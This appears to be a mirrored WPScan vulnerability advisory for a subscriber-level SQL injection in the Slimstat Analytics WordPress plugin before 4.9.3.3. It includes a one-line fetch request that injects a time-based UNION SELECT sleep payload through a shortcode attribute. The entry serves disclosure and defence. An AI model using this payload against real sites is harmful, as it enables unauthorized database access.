Lucene search

K
wpvulndbMarc MontpasWPVDB-ID:B82BDD02-B699-4527-86CC-D60B56AB0C55
HistoryFeb 27, 2023 - 12:00 a.m.

Slimstat Analytics < 4.9.3.3 - Subscriber+ SQL Injection

2023-02-2700:00:00
Marc Montpas
wpscan.com
14
sql injection
subscriber
poc
wordpress

0.099 Low

EPSS

Percentile

94.9%

The plugin does not prevent subscribers from rendering shortcodes that concatenates attributes directly into an SQL query.

PoC

While logged in as a subscriber, send the following request: (await fetch(‘/wp-admin/admin-ajax.php’,{method:‘POST’, headers: {‘Content-Type’: ‘application/x-www-form-urlencoded’},body:‘action=parse-media-shortcode&shortcode;=[slimstat f=“count” w=“author”]WHERE:1 UNION SELECT sleep(10)-- a[/slimstat]’})).text() If successful, the request should hang for ~10 seconds, indicating we successfully injected something in the affected SQL query.

CPENameOperatorVersion
wp-slimstatlt4.9.3.3

0.099 Low

EPSS

Percentile

94.9%

Related for WPVDB-ID:B82BDD02-B699-4527-86CC-D60B56AB0C55